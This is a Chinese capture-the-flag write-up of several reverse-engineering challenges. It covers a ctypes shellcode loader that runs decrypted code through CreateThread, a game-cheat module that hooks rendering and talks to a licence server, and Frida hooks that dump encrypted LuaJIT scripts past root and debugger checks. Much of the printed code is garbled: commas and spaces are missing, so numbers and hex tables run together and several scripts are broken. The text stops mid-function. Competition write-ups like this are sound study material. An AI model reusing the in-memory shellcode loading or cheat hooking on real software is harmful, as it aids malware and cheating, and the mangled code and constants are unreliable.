蚌埠.windll.kernel32.RtlMoveMemory(蚌埠.c_void_p(黑龙江),(蚌埠.c_ubyte * len(河南)).from_buffer(bytearray(河南)),蚌埠.c_size_t(len(河南)))
辽宁 = 蚌埠.windll.kernel32.CreateThread(蚌埠.c_int(0), 蚌埠.c_int(0), 蚌埠.c_void_p(黑龙江), 蚌埠.byref(四川), 蚌埠.c_int(0), 蚌埠.pointer(蚌埠.c_int(0)))
蚌埠.windll.kernel32.WaitForSingleObject(蚌埠.c_int(辽宁), 蚌埠.c_int(-1))
if 四川.raw == b'\xdb\x1b\x00\x44\x79\x5c\x43\xcc\x90\x5f\xca\x2e\xb0\xb7\x6d\xab\x11\x9b\x5e\x68\x90\x1b\x6c\x19\x01\x0c\xed\x75\x50\x36\x0c\x30\x7f\xc5\x45\x2d\x4c\xb0\xfb\xba\xf6\x9f\x00':
    print("是的!你得到了!")
else:
    print("不,再尝试更多。 (笑脸符号)")

明显的Windows启动线程的流程,可以编写脚本提取shellcode,但没有必要,因为解密流程是标准的RC4算法,甚至可以直接使用在线工具进行RC4解密,密钥为md5后的“云南”,即4fc866721e98ff569888cc576c0a0331

shellcode直接放入IDA分析,发现SMC

变种TEA算法,解密流程不在此写脚本展示,直接上调试器DUMP数据

DUMP出来的数据放IDA

快速幂并取模的算法,相当于每两字节进行powmod(str, 2029, 53743),是RSA算法加密

暴力分解N得到p q

p = 223 q = 241

通过公钥e = 2029找到符合题目要求的K = 1438561,得到私钥d = 709

对数据进行RSA分组解密,即powmod(str, 709, 53743)

#include <stdio.h>

typedef unsigned int uint;
typedef unsigned short ushort;

uint powmod(uint base, uint exp, uint modulus) {
  base %= modulus;
  uint result = 1;
  while (exp > 0) {
    if (exp & 1) result = (result * base) % modulus;
    base = (base * base) % modulus;
    exp >>= 1;
  }
  return result;
}

void decrypt(ushort* src, ushort* out){
    for (int i = 0; i < 21; i++){
        out[i] = powmod(src[i], 70953743);
    }
}

int main(){
    char flag[] = "\xdb\x1b\x00\x44\x79\x5c\x43\xcc\x90\x5f\xca\x2e\xb0\xb7\x6d\xab\x11\x9b\x5e\x68\x90\x1b\x6c\x19\x01\x0c\xed\x75\x50\x36\x0c\x30\x7f\xc5\x45\x2d\x4c\xb0\xfb\xba\xf6\x9f";
    decrypt(flag, flag);
    puts(flag);
    return 0;
}

得到flag: XCTF{5c7ad71b-6c91-4481-af7a-69726a66aea8}

Flappy Bird Cheat:

本题为Flappy Bird游戏的外挂,模拟了外挂软件通过网络验证的过程。,题目给出了网络验证过程的 http 数据包,需要选手通过逆向网络协议并解密数据。题目使用到了 openssl、curl、imgui、fmt等开源库并去除去除符号。

外挂程序会获取手机的一些基本信息(这里只实现了获取手机名称、PPid/TracerPid、网络连接信息),在服务端对卡密和手机信息验证。成功后才会发送运行所需的一些偏移地址。flag由手机名称和偏移生成。和服务端交互的协议是逆向的重点。

选手可通过动态 hook/ 调试 /静态分析,逆向出网络协议,解密数据得到flag。

外挂模块为一个 zygisk 模块,入口在zygisk_module_entry中。虚函数 sub_198A84 为 postAppSpecialize,创建线程获取模块基址,随后 hook 了eglSwapBuffers_ZN7android13InputConsumer21initializeMotionEventEPNS_11MotionEventEPKNS_12InputMessageE进行绘制。

点击Login后,从游戏files目录读取key.txt,将文件哈希后作为http header的Authorization字段。接下来收集手机的一些信息,加密后POST到http://192.168.0.106:5000/auth。加密和签名的过程:

  1. 1. rand 随机生成一个AES密钥

  2. 2. 用RSA公钥A加密AES密钥

  3. 3. 用AES密钥加密数据

  4. 4. 用私钥B签名数据

收到回包后,用公钥C验证签名,再用写死的一个AES密钥解密数据,最后反序列化得到偏移数据。

发包的AES密钥由时间作seed生成,可从http头中获得时间。

回包的AES密钥固定,可直接解密。

解密代码如下

import datetime
import ctypes
import struct
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
from hashlib import sha256

raw = open("./a.bin""rb").read() # dump http stream
post_data = raw[raw.index(b"Content-Length: 5696\r\n\r\n")+len(b"Content-Length: 5696\r\n\r\n"):raw.index(b"HTTP/1.1 200 OK\r\nServer: Werkzeug")]
rsp_data = raw[raw.index(b"Connection: close\r\n\r\n") + len(b"Connection: close\r\n\r\n"):]
assert len(post_data) == 5696
assert len(rsp_data) == 672

"28 Aug 2022 18:18:54"
ts = int(datetime.datetime(202282819314).timestamp()) & 0xFFFFFFF8
libc = ctypes.CDLL("libc.so.6")
libc.srand(ts)
session_key = bytes([libc.rand() & 0xFF for i in range(32)])

aes = AES.new(session_key, mode=AES.MODE_CBC, iv=b"\x00"*16)
session_key_enc, ciphertext, signature = post_data[0:512], post_data[512:-512], post_data[-512:]
s1 = unpad(aes.decrypt(ciphertext), 16)
s1 = sha256(s1.split(b"======\n")[1].strip()).hexdigest()[0:32]

def easy_enc(s):
    s = list(s)
    for i in range(len(s)):
        s[i] ^= (3 * i * i + 19 * i - 27) & 0xFF
    return bytes(s)

aes_key = bytes([251180291492402321753520644381991692061418522621222911113425423523392122500194167138103])
rsp, signature = rsp_data[0:-512], rsp_data[-512:]
aes = AES.new(aes_key, mode=AES.MODE_CBC, iv=b"\x00"*16)
serialized = unpad(aes.decrypt(rsp), 16)
i = 0
offsets = {}
while (i < len(serialized)):
    k, l = struct.unpack_from("<II", serialized[i:])
    deserilized = easy_enc(serialized[i+8:i+8+l])
    if k == 1753898927:
        pass
    elif k == 2642679573:
        offsets_len, = struct.unpack_from("<I", deserilized)
        for j in range(offsets_len):
            offk, offv = struct.unpack_from("<II", deserilized[4+j*8:])
            offsets[offk] = offv;
    i += 8 + l
s2 = b""
for i in range(13):
    s2 += f"{offsets[i]:08X}".encode()

s2 = sha256(s2).hexdigest()[32:]
flag = f"flag{{{s1}{s2}}}"
print(flag)
# flag{941d52d3ca23967191aee16dd541778da4f1a8ff674264e8c1e4e404afc1ccdd}

Super Flagio:

概览

本题基于 MarioKing(https://github.com/xiedantibu/MarioKing.git) 仓库构建了一个单机马里奥手游,以顶计数砖块的形式接收玩家输入:

get_input

以顶问号块的形式进行输入校验:

start_check

如果输入正确,玩家可以获得一个增强力量的蘑菇,从而击败守护 flag 的板栗仔。本题的 flag 即为玩家的正确输入(上下两行的拼接)。

出题视角

游戏采用 cocos2d-x 引擎与 lua 语言开发,其中大部分的加密和混淆方式均取材自我不久前研究的一款国产手游。因为这些逆向对抗手段都比较有意思,也较为经典,所以就拿过来出题了。

环境检测

相信这个部分大家都见怪不怪了,加不加影响不大,所以不如加上(

首先是 Java 层,在 org.cocos2dx.lua.AppActivity onCreate 函数中调用的 Cocos2dxUtil.lowEngineVersion 用于检测设备是否被 root。

其次是 Native 层,JNI_OnLoad 中通过 pthread_create 创建环境监测线程,检查进程是否被调试、是否存在 IDA server 和 frida server。

lua 脚本加密

采用 cocos2d-x 引擎 lua-binding 开发的游戏逻辑代码并不直接存在于 Java 层或 Native 层中,而是作为资源文件存放在 apk 的 assets 目录下,因此有必要对明文的 lua 脚本进行加密处理。

脚本编译

本题使用的 cocos2d-x 引擎版本为 3.17.2,该版本的 lua 引擎为 LuaJIT。将 lua 脚本预编译为 LuaJIT 可解释的 luac 字节码文件以防止源码泄露,是一种对抗逆向工程的经典策略。

本题也采用了这种策略,但是为了防止 luac 能被现有工具直接反编译,我还修改了 LuaJIT 解释器的 opcode 顺序。

内容加密

传统的 cocos2d-x luac 加密是通过游戏引擎自带的 xxtea 算法完成的,因为密钥找起来太容易,所以这种方式自然被舍弃。

在实现时,我定义了一种以 FF FF DB EE 为文件头的加密文件结构,并修改 cocos2d-x 引擎源码的FileUtilsAndroid::getContents,加入了相应的解密函数。

名称混淆

cocos2d-x 的游戏脚本一般存放在 apk 的 assets/src 目录下,为了防止有意义的符号泄露信息,我将该目录下的所有文件名、目录名修改为它们原本名字的 xxhash 结果,并修改 cocos2d-x 引擎源码的 FileUtils::fullPathForFilename,加入了相应的字符串映射函数。

其他处理

  • • 输入校验逻辑虚拟化(小型虚拟机)

  • • Native 层去符号

获取明文 luac64 文件

在 IDA 字符串窗口搜索 cocos2d-x- 可以发现程序使用的 cocos2d-x 版本为 3.17.2

cocos2d_version

搜索 LuaJIT 可以发现程序使用的 LuaJIT 版本为 2.1.0-beta3

luajit_version

从 LuaJIT-v2.1.0-beta3(https://github.com/LuaJIT/LuaJIT/tree/v2.1.0-beta3) 仓库下载源码,参考 LuaJIT 官方文档(http://luajit.org/install.html) 的 Cross-compiling LuaJIT 部分,使用 android-ndk-r20b 编译一份 arm64 架构的 libluajit.so,再借助 IDA bindiff 插件即可还原 LuaJIT 引擎的关键符号。

完成上述操作后,在函数列表中搜索可以发现 luaL_loadbuffer 的地址为 0xAC4E9C,该函数的原型为 LUALIB_API int luaL_loadbuffer(lua_State *L, const char *buf, size_t size, const char *name),第二个参数指向当前加载字节码文件的二进制内容,第三个参数指明 buf 的大小,第四个参数为模块路径名。

hook 该函数入口,打印第四个参数 name:

var lib_base = Module.findBaseAddress("libgame.so");

Interceptor.attach(lib_base.add(0xAC4E9C), {
    onEnterfunction(args) {
        var chunk_name = args[3].readCString();
        console.log("Load: " + chunk_name);
    },
    onLeavefunction(retval) {}
})

程序打开后(游戏主菜单处)注入上方 js 脚本,并点击开始游戏,frida 端的输出如下:

Load: scene/GameScene.pyc
Load: core/GameMap.pyc
Load: entity/Enemy.pyc
Load: entity/Mario.pyc

顶问号方块时,还会输出 Load: core/Util.pyc,因此输入校验逻辑应该与其相关。这里可以看到,所有的脚本后缀都是 .pyc,但其实通过搜索文件头前四个字节,可以发现其为 LuaJIT 字节码文件。

先将所有加载了的脚本 dump 出来,在 dump 的过程中,手动将文件后缀改为 .luac64(指代 LuaJIT 64 位字节码):

var base_dir = "/data/data/cn.org.xctf.flagio/";
var lib_base = Module.findBaseAddress("libgame.so");

Interceptor.attach(lib_base.add(0xAC4E9C), {
    onEnterfunction(args) {
        var chunk = args[1];
        var chunk_size = args[2].toInt32();
        var chunk_name = args[3].readCString();

        var new_name = chunk_name.slice(chunk_name.lastIndexOf('/') + 1, -3) + "luac64";
        var file = new File(base_dir + new_name, "wb");
        file.write(chunk.readByteArray(chunk_size));
        file.close();
    },
    onLeavefunction(retval) {}
})

将文件移动到 /data/local/tmp 并赋予 777 权限后拉到本地即可获得明文的 luac64 文件:

dump_bytecodes

为什么说这些文件是 64 位而不是 32 位的呢?我们用 16 进制编辑器随便打开一个文件,它的前五个字节都是 1B 4C 4A 02 0A。而第五个字节的 0x0A 是 LuaJIT 文件结构中的 GlobalHeader.flags 字段,其二进制形式为 1010, 置位的两个比特位分别表示文件被去掉了符号(FLAG_IS_STRIPPED = 0b00000010)和采用 2-slot frame info 模式(FLAG_FR2 = 0b00001000),后者是 64 位引入的新特性,详情请参考 Finish LJ_GC64 mode(https://github.com/LuaJIT/LuaJIT/issues/25)。

当然,你可以通过打印 luaL_loadbuffer 的调用栈往上追溯到关键解密函数 sub_5035CC,分析它的实现再写脚本解密 apk 的 assets/src 目录下的所有加密文件(或用其他方法主动调用)。不过这样做就复杂了,所以这里不作展开,仅给出 python 版的解密脚本:

import os
import zlib
import struct

block_size = 4
file_magic = b"\xFF\xFF\xDB\xEE"

enc_tbl = [
    0xc6bfb4370x8601dd6b0x9f6bdbea0xe3ec6fea0x9f6283a80xd21da7260xc15ff0830x3dec68680x53f4c5510x8cddfaeb0xf3c858de0xa5a3995d0x8ced646b0xde7835240x5f83b5180x20b1a8dc0x0095b96a0x1a7d641c0xf0b529e10x17abf4ef,
    0x4ba444540x244777650x4f477d430x13163da60x1cfdc4b90xc98feb0c0x1263e38c0x9214113b0x5530b57b0x97c9c9070x59c620120x8ef987d20xe9bc51c20xde70b2f20x3118de7a0x66dda4460xbabd90120x881f794f0x52741f200xdfc43ad9,
    0x16aff5ff0x4c133c120x8594ac3e0xbf95602c0xd00badc90x608c398d0x46ff91610x3f00ecbd0xed3c0bdf0x77e37cc90xe3c351190x66d486fc0x3ee1a90d0x7ee040480xbe254e4e0x9b7c05840xe8b5d0f10x168f6f7d0x8fa088630xf734d73e,
    0x58e56b080x6f1795380x47e0c6090x522e3e480xb71b908f0x1db04b1a0x0dfb2e290x9df3f71e0x73072a550xe9d6d17c0xef17f00a0x4ff4a7ed0x6f11d3dd0xe57d42400x730bdaf20xbeb18cb20x23f2a7b90x88edc6e60x7219fb970x41152194,
    0x76cc5eb10x22c7de910x4186e4b30x87efa1ae0x173a54e00x8e49b7b40xa3390d880x9499f12e0x1e2f362a0xf92bda220x133dcd2f0xb5bf77040x133007a40x677ea91c0x7ca513930xb271661b0xb961496b0x7d37c9030x8f1baf380x69a2ca9f,
    0xdeebcb610x596bce090x0a6107600x410896ce0x803f612a0xe17166f70x6329e37e0x696760670xcd15b5860x28a8262d0xe55f85c80xe9b68a7e0xfe84fccf0xa568180b0x0a7760720x1fcc5ea00x5237f2590x655cb9450x0ed0a7690x2ddfb75f,
    0x02ab90140x60829de30xce7d85820xc7a0840e0x2db226de0x2f4d65b10x3562407e0x6f60bb040xd5bf4fac0x5c1b419a0x2e2aed200x4ba278be0xe5826e220xf1719ad80x8355c16a0x7f9c50990xf81d43e80x96d68a160x51b4fbd60xc5aba1a9,
    0x2906faaf0x08df650b0x8c2cf2380x476602360x212844420x1be465d30x7b2f61180xdd2c089d0xc70ab20d0x2164a83a0x6e7185550xc75ddbf10x89fd68c10xe4b4911e0x80d2f2b80xd7e038570xc40fc98c0x47a30b800x94589a480x3a55dd73,
    0xf935cd280xa9ba29030x078f85630x3151d61b0xacde3d3e0xb8ecd1540x87c24b490xb10a06780x35cf90060x2ae5a60b0xd7b0ef0e0xdab275940x5407ef840xe12ade070xc3bb788b0x193e61870xbe2d59b00xf5f845eb0x52366e4f0x5135869b,
    0x343869c20xec048a460x0a0440c80xafb3a1cc0x04db06f70x1455dde20x8b42b7a50x33e04cba0xb6412b660x729ee85c0xfadf7cde0xa14fcaf40xa7b3121e0x2b01d8130x1be0c2400xc0a73eb80xcc90e00f0x014b45c90x86cbc26c0xb91f7d5e,
    0xb5172fd60x9fe38ef70x9b7f0bff0x6ae221c40x69846e790x8090ea820x31e71cb40x83e8e8980xab0999750x389f7b0c0xf0235da10xa69496fa0xd19e910f0x1a44d0de0x163d1c840x071de1bf0x9f827f9f0x13dcb3bc0x32f65cf80x09082987,
    0xb6e297760xb3d15d210x02669d170x4bd68fb60xbe6181520x4cdbf2690x0e5e5c740x6b505a5a0x31cf50fd0xa9cce4850x145187150xc920e57c0xca7f0f8b0x7ab47b240x2502b1bd0xcbe725d70x1686ae0b0x76e8d3cc0x03e562cd0x47c27f90,
    0x0bf1ac9f0x7203e6680x12660dbe0xfa1754a00x955de0650x1c5fcd6b0xeb5a16ac0x93a8f58a0x757c84490x086943af0x9e0993670x04d88f410xf14da8c60x5b014a710x9f08ab6f0x546e02c50xaa8392160x163623d30xb77e22620x1ec0d6af,
    0x322e25560xd8efe2a80xa84791fb0x6579b7820x76ec08310x563924e40x52a367d90x8e4f672f0xe7f0190a0xca6856590x5c558d200xc6609bf80xa2fe64eb0xcc6c308c0x3b5f7fb30x6f1135280xd150f04c0x1db84f0d0x9f0c40d00xff9dda06,
    0x40b986f70x652f5c980x2d5d424f0xd508779c0xce2cefea0x408c40c10xac2add9b0x401bf9e50x4ec635fa0xbe2039a70x2fa7b7c30xe8d5e7640x946859630x287d0a850xd37e1c7e0xc50e60ce0xd936baa00x60d2f38b0x0a631af70xe6098986,
    0x736621df0x5ab720720x1b3ccc300xece32f2d0xcb7e8e6a0x46accdc10xb3ee9a550x651b76640xb8dc21a30x59eb5f920x0d719c430x0177bbbc0xd8b65e500xe49e36390x8f43577a0xbf5fbaa20x40529e130x9ab9bc170xe737dcac0xd0ffebba,
    0x1bd139b00xbfb6b5300x7f119a220x77b6ac030x3da04c350x3e5a84460x4e1c51230x14dba10e0xae8227a40x7b7d1c1f0xd28cb72a0xfae9dabe0x8eeaec660xadea7dad0x5ba215510x15f1e4bb0x6cdc9cbc0xd1b505690xa9fda62c0xb4a69d8e,
    0x8552f7b00x0e5ab05d0x7afda9000x7160f49a0x9cd74a630x6c8bd2990xaf11f0970x69baa2950xdcd99b1d0x36467f3a0xbb8a82a60x300ccd430x78961a0c0xef6d7ab80x204772130x15b36dfb0x878d11e70x7c0268300x923400a60x68f97cfc,
    0xcc8492f80x21c02cb10xe61909910xf0a157630xb789f74b0x7cdef3080xd8452eef0x8f700ba20x1f34c45e0xaeb19b7f0x6e4b14600x6a77b90b0x168067b20x739f3d630x164a00310xe5d9af440x9fe6950f0xb3877e240x787893b50x52eeebbf,
    0x8119aab30x9d71c82e0xaeddb5120xb27396050x6de257c90x2583e4ca0xae3efb2a0xcf70e8d80x5f3bf3730x93720ba00x3d7356f40x074a5bfa0x86705c320xc750b7e70x1172dded0xf3691a330x2ead9e770x99c6d7760x971b630d0x3119628c,
    0x71b7175b0x3c7fc6b50x7176c0bc0xfdfa123c0x6869b5e10x567d3e0a0xb63f1c8e0x86a509fb0x0350e36a0xe683b1ba0xc85736670xb5d684120x0f0ca3210x1b2f93c40xc366d7430xa75f5f1f0x6bd304150x578e12280x9ad7e1de0xdd923625,
    0xb5c6960d0x839e8c6b0xb79da6a80x5d516c960x3e0311380xc26a69b50x71e02b2a0x83d5badf0x3f10bcda0x5cd27b7b0xc1b7327b0xb2b1fc190xb5da9c7c0x9e6c67880x2c48de6c0x0acbf3650x901e38fe0x763013650x22ee70e60x76b31faf,
    0x86c404b60xb233216d0x3031b9020x61cce2a60xebaa334b0x7ca20c9c0x0925a9cf0xc6ba2e400xa39f3b340x7da5c1a10xa6e137ae0xdc5171350x29e9606b0x7ba0e3870x30511df00xa1c85fc90xdf3a93780x60cd580c0x375adb500x6ddc4bc0,
    0x2cd369d40x8c6af18d0x65849d8a0x1badd1c30x5318ad5c0xefcf5a8c0x353c18380xa1ee67420xff578c6d0x6feed6cc0x916cdd960x2207e0d30xb509a85c0xac18ddf60xe6035b440x58f262b50x255ee0710x7e4fbd360x5701bb1c0x70d05c02,
    0x6b04c60a0x119ff0910x7de77c280x01ea0beb0xffa2012e0xcd289b5f0x8cb819690x38ae5b480x2de875350x2c5f4e7a0xdd37d2e00x7b3210560x073afded0xddba04250x103f57850x9c7751dd0x5b2f02270x96d6a1650x8aa4f0c10x4a9c9e92,
    0x8a09df650x706839b60x7e1482670x07c2b26f0x50573df40x27ec1fe20xddbed1b60x3025b0590x5ea770b60x6f36fccb0xfaca270c0x8aa5738f0xb43322a90xeb081caa0x4ec2902a0x25cd3eea0xf7fbc7c80x7df412f00x65bbff820x3df15d68,
    0xa2952aed0x385845c40xcd00c3b20xcb041ee30xc067ba130xc1a00e990x18b3ecfa0xe05be99e0x2b5793b70xf8c1e25b0xff4d02140x184f19190x48c62d8a0x54696b770xeb3586430x7b26489e0x74f647030x20581ac20x86a3a1520xd91e6385,
    0x0ddf82cf0x1b2b87870x9d656c970x2b35f5a40x8009457c0x34b5625b0x91f6bf530x092c24690x49bb878c0x67bddbdd0x7808a8f40x06bab5d80xf10522690x1c4dc31c0x41f4cd770x7428fdef0x35ddabda0xae48e6590xde3313970xa75ef097,
    0x8ee510a20x3f1a42e30x36411ad60x5c3bb01d0xb64090a10x89e36f7b0x623708aa0xfdf4ed1c0xf714506f0x2a5824450x2fcf34010x5d6ab83f0xa685d2af0xd59b00220x158f52da0x8795a6240x0f069f3d0x01ea335b0x9fa22d710x486a4e95,
    0x256ca29a0x84e106040x3c60c9020xc6b2092c0xb684090e0x4989b96a0x96bce5090xfaa0f2290x3220aae80x5cb9ced10x75e864b00xdd116efd0xa608ec2d0xf51d3e1c0xfc548a6e0x08175bd20x044729d50x4d1bed730xd8b9c5e30x52ae7c1b,
    0x946622c50x512bb5830xd3c1d5f50x412c4de00xdb6a7e5e0xfbe6fee00x59fcd7c70x59132cc90xf38ea2df0xf114c4260x8e686f800x1b8c0c330x2e954e260xfeac08ad0x70c35e700x524420230xed58707c0x7839e1b80xf79444910xbdbf75dc,
    0x6b68cb1b0xde45390b0x9b4b98ed0x10f335560xdb7ec13f0xbd3598440x35c36bdb0x1e6a6a680xeedc3b190xc0ce9ebd0xda077d0c0x975136270xbe2ab4a80x82416ff90x0cd5bd780xad41b27f0xa3b4c5e80x4dd1e8320x53c6bdbe0xcc6ab880,
    0xce9470570xb8f9161a0x668eda530xa85834eb0xa6df89240x1da9e9ae0x052a3c9d0x65aad5f40xacdcf2cf0x98974b210xee583d8b0xd76860390x69c32a050x807ef23a0x22d9756b0x4854feaf0x720e05e00xe6175b720x9149f2bd0xa4482834,
    0xe2fe86180x4ca97bdc0x3a609ceb0xa2c609720x2fc237500x5ba701d50x4c86d7b70x19b87d790xc92ca13b0x334795a80x64b38fd40x972730860x34bdfed60x88f626370x469142560x2f04690b0xa5a3edaa0x3185b7ab0x35790aad0xda58400d,
    0xd54655e40x4a4ac79c0x139d026e0xce9b6d440x8651fa210xb8000ecf0x879883160x1541eec90xb5fb51890x689af1740xbd2eeb220x720516450xaed244880xc6794fbb0x00f2e3760x54f9e4ec0xede0cba20xea6135030xcb433dc00xc58bda4f,
    0x365b983e0x1451bc200xc2b18a7d0xc65ed5bd0x333747840xfdf374900x07bff8d00x5e118f5c0xfb18b6fb0xe09af3020x496b0dc10x5235e5d70x6ecb21120xd01831770x783720c30xa185067c0xdc9b43810x4ad1cf100x433ad32c0x1aa35a53,
    0xb3460aac0xd12b68920x44349f2d0x1f3ffb7a0x2924f7580x1883702e0x6df6ca0e0x4e82e9bd0x037b0c080xb4c0afdd0x5edf7c3f0xf70b8df50xb494c0a70x473195050xac6b81250x57d78aa90x4a1f64fc0x944be2470xae158c490x10b405ef,
    0x0ca7f6230x6c00241a0x1c0bbaa30xb846b6750x1b89d58d0x77e4d2710x7c96f2d50x13f8280b0x5cf84d450x16b516990xacb454c90x8b27dbd20xd5c825350xd51d9d1a0x54b628d20xa132316a0xa55a35860x6f948e0f0x4df052950xbf64f4b9,
    0x58689f930x39a856480xa3dedaec0x911158c40x3c92bf0d0x9e348fe60xd9cb180d0x97ebec500x78b83de90x73ec6c480x6b7b4b630x16aa6ba80xa2039a010x804b44640x689421140xa8dd6a020x0d80029f0x374c2cbf0xfb353d8c0x3324161b,
    0x0d2757de0x7f491efb0xb44561400x3ffe21640x9c9674630x27f7b5b80xca0cd1700x044f53a40x893563e70xedbce4d80x021b54140x4a46b3080x5ab79e4a0x554f4a3f0xe4db258e0x7af947a40x079e48820x7ca6cf870x8039be380xdf33dc9a,
    0xeea9b4e70x0910e3b00x579762f80x7cafa12c0x2bafb9100x355e70bf0x95982c0e0xb5fa17b30xcddbbfff0xbe459e560xb10af2610x5c2a2af10x4eee8c3a0x65d14d8a0x958973450x7a4a7fd80x6cc41bec0x7dec212c0xc0ea7b930x6b57d950,
    0xf16b98fd0xcdbc34910x02d35ee00xb1aba5630x2ad6fa580x194b1e340x890872860x3d3ccca10xb9fdf7880xf1e30c500x5729a64b0x0a5befc60x1f76c0b20x3e77ea9d0x8a355c320xdf45cd170x985e31a60xd29a51ca0x56f0b4290x042d4a8c,
    0xdd7658520x637156280x738cebe60xfc2df4b10x9b5ba9d60x96f78f670xcc2e210f0x9c6d611a0x366d67910x9a43361c0x5fb81ec90xb9fe67940x7375d3020xc62fa8180xcc6e19ae0x2f4d38de0xd0010ed60xae25aae80xca30036e0xd615450a,
    0xf244f9540x829593690x7031c12f0x5933a6dd0x1169558f0x2b2ee00b0x6f89f2420x14149c3e0xee2fa1b10xaa0208880x5285bcbe0x6b1a451d0x17c862ac0x677a72010xaae07dfa0x61daeaa50x0d4fb80e0x7d74345f0xc512b3bb0x566bb4d0,
    0x06c697710xe4955e920xe2b5d04d0x5df4ee340x3928168a0x48ed0c2a0xd7d95fe10xf01c32640x86cdc0890xa46b7cfb0x2fede9410x74ec18e20x9d56e1cc0xcce5dc4c0xdbeabd6d0x9480971f0x786dcaa10xad2723750x200036170xe13ad0f6,
    0xf0d865960xf61b898b0x2aac895a0x241aad940x3da6a9a80x6d0bc7970xa92e8a900x6e7370900x82c35afa0xdea3a9450x2fd754bd0x7a23f1100xf0f1a2f00xf17280a20x3f1eda1c0x0f03ed4e0x3e02d44a0x6073f4040x026302c60xf9aa2e7d,
    0x191eeded0x5857dfca0x4bd140d30xe04e49690xad0c69750xdabc65260x40db87f60xd3fcb14d0x5f6733a70xbdced7fd0x7fdf24710x983bea500x15ab4e1a0x408265c60xb33b1df30xfec4aae00x299e846a0xd1a8f4aa0xbe72d4050x1ab0b5d1,
    0x5fb1b52d0x9232ccdb0xbbfd81120xf71983100xeab711900x135fe5610xbe0dcc840x17601c740x31ac3a980xd67ca4b60x99f147110x5475ba0b0xbc011f670x7f84e0d50x506acdb60x47bc32d10x807de61d0x889f68340x13be14a70xe55f0f4c,
    0x3289738b0xea35b8620x8a2cab9f0xf64f4dfc0x6e2556080x718a29c10xe36ada400x570d6a970x661e616d0x68b69cd30xd075c3f40x71e9cfbd0x4ab3086b0xd8e2d9450x632a0c6e0xbe0e61450xe60a45c90x5467aa5a0x812dc36e0xc8ed5ed9,
    0xc2aa5ac80xb7bee3300x2a0b54560xf42464820x0ceaf7d90xcba5b9b50x1edb9f9b0xff7feefd0x36599e260x350db2590x3d16422e0xff94c0a00x15a7185c0x333b4cef0x91481df80x882c24b80x9ffc1ff50xdc64b9ba0x0cb8510c0xfb68492d,
    0x41d8f2a20xeebe9afd0x7d1de9980xd0a8aaf00x1df9329a0xaf2cc29a0x076355620xae187f030x858d40da0x996462dd0x196b8b750xbed95cda0xabe4ab1c0xd9fc2e500xd59f74c80x174bf4bc0xf8a5bd8a0x9b1b07560x2747c3b80x3145d4e1,
    0x3145d42a0xccfa38310xc98fce4a
]

def do_xor(array: list, nblocks: int):
    idx = 0
    idx2 = 0
    while idx < nblocks and idx < 0x200:
        array[idx] ^= enc_tbl[idx2]
        idx2 = (idx2 + 1) % len(enc_tbl)
        idx += 1

    while idx < nblocks and idx < nblocks - 0x200:
        array[idx] ^= enc_tbl[idx2]
        idx2 = (idx2 + 1) % len(enc_tbl)
        idx += 4

    while idx < nblocks:
        array[idx] ^= enc_tbl[idx2]
        idx2 = (idx2 + 1) % len(enc_tbl)
        idx += 1

def decrypt_file(if_path: str, of_path: str):
    with open(if_path, "rb"as f:
        data =  f.read()
    assert data[:4] == file_magic

    cipher = data[20:]
    compressed_size = len(cipher)
    nblocks = compressed_size // block_size
    plain = [0] * nblocks 
    target_crc, _, origin_size = struct.unpack("3I", data[8:20])
    assert nblocks > 0

    for i in range(nblocks):
        plain[i], = struct.unpack('I', cipher[i*4:(i+1)*4])

    do_xor(plain, nblocks)

    compressed = b''
    for i in range(nblocks):
        compressed += struct.pack('I', plain[i])

    if compressed_size % block_size:
        compressed += cipher[-(compressed_size % block_size):]

    plain = zlib.decompress(compressed)
    assert zlib.crc32(plain) & 0xFFFFFFFF == target_crc

    with open(of_path, "wb"as g:
        g.write(plain)

decrypt_file("526018661""Util.luac64")

识别乱序 opcode

如果用现有反编译工具直接反编译得到的 luac64 文件,结果一定是不正确的,因为 LuaJIT 引擎的 opcode 顺序被修改了。这一板块主要介绍如何在 Native 层中识别并还原出引擎的 opcode 顺序。

在 lj_obj.h 文件中,我们可以找到 lua_State 结构体的定义:

/* Per-thread state object. */
struct lua_State {
  GCHeader;
  uint8_t dummy_ffid; /* Fake FF_C for curr_funcisL() on dummy frames. */
  uint8_t status; /* Thread status. */
  MRef glref;  /* Link to global state. */
  GCRef gclist;  /* GC chain. */
  TValue *base;  /* Base of currently executing function. */
  TValue *top;  /* First free slot in the stack. */
  MRef maxstack; /* Last free slot in the stack. */
  MRef stack;  /* Stack base. */
  GCRef openupval; /* List of open upvalues in the stack. */
  GCRef env;  /* Thread environment (table of globals). */
  void *cframe;  /* End of C stack frame chain. */
  MSize stacksize; /* True stack size (incl. LJ_STACK_EXTRA). */
};

其中 glref 字段指向了 global_State 结构体,顾名思义,其保存着 LuaJIT 的一些全局信息,由所有线程共享。但是我们无需去关心它的定义,因为我们感兴趣的字段不在这个结构体中,只是借助它来找到一个名为 GG_State 的结构体,后者保存着更为顶层的全局信息,其定义在 lj_dispatch.h 文件中:

/* Global state, main thread and extra fields are allocated together. */
typedef struct GG_State {
  lua_State L;    /* Main thread. */
  global_State g;   /* Global state. */
#if LJ_TARGET_MIPS
  ASMFunction got[LJ_GOT__MAX];  /* Global offset table. */
#endif
#if LJ_HASJIT
  jit_State J;    /* JIT state. */
  HotCount hotcount[HOTCOUNT_SIZE]; /* Hot counters. */
#endif
  ASMFunction dispatch[GG_LEN_DISP]; /* Instruction dispatch tables. */
  BCIns bcff[GG_NUM_ASMFF];  /* Bytecode for ASM fast functions. */
} GG_State;

这里可以发现一个非常有意思的的字段 dispatch,后方的注释也告诉我们该数组是 LuaJIT 内部维护的一张指令跳转表,每条 LuaJIT 虚拟机指令都能在这个数组中找到对应的处理例程。

现在我们来研究一下 LuaJIT 是怎么取指令和译码分发的,搞清楚这个流程才能找到跳转表的位置,进而才能找到各指令的具体实现及它们的先后顺序。

不妨在 LuaJIT 源码中跟一下 luaL_loadbuffer 函数的实现,看看它到底是如何加载运行 LuaJIT 字节码的,该函数定义在 lj_load.c 文件中,下面一并列出相关函数:

LUALIB_API int luaL_loadbuffer(lua_State *L, const char *buf, size_t size,
                   const char *name)
{
  return luaL_loadbufferx(L, buf, size, name, NULL);
}

LUALIB_API int luaL_loadbufferx(lua_State *L, const char *buf, size_t size,
                const char *name, const char *mode)
{
  StringReaderCtx ctx;
  ctx.str = buf;
  ctx.size = size;
  return lua_loadx(L, reader_string, &ctx, name, mode);
}

LUA_API int lua_loadx(lua_State *L, lua_Reader reader, void *data,
              const char *chunkname, const char *mode)
{
  LexState ls;
  int status;
  ls.rfunc = reader;
  ls.rdata = data;
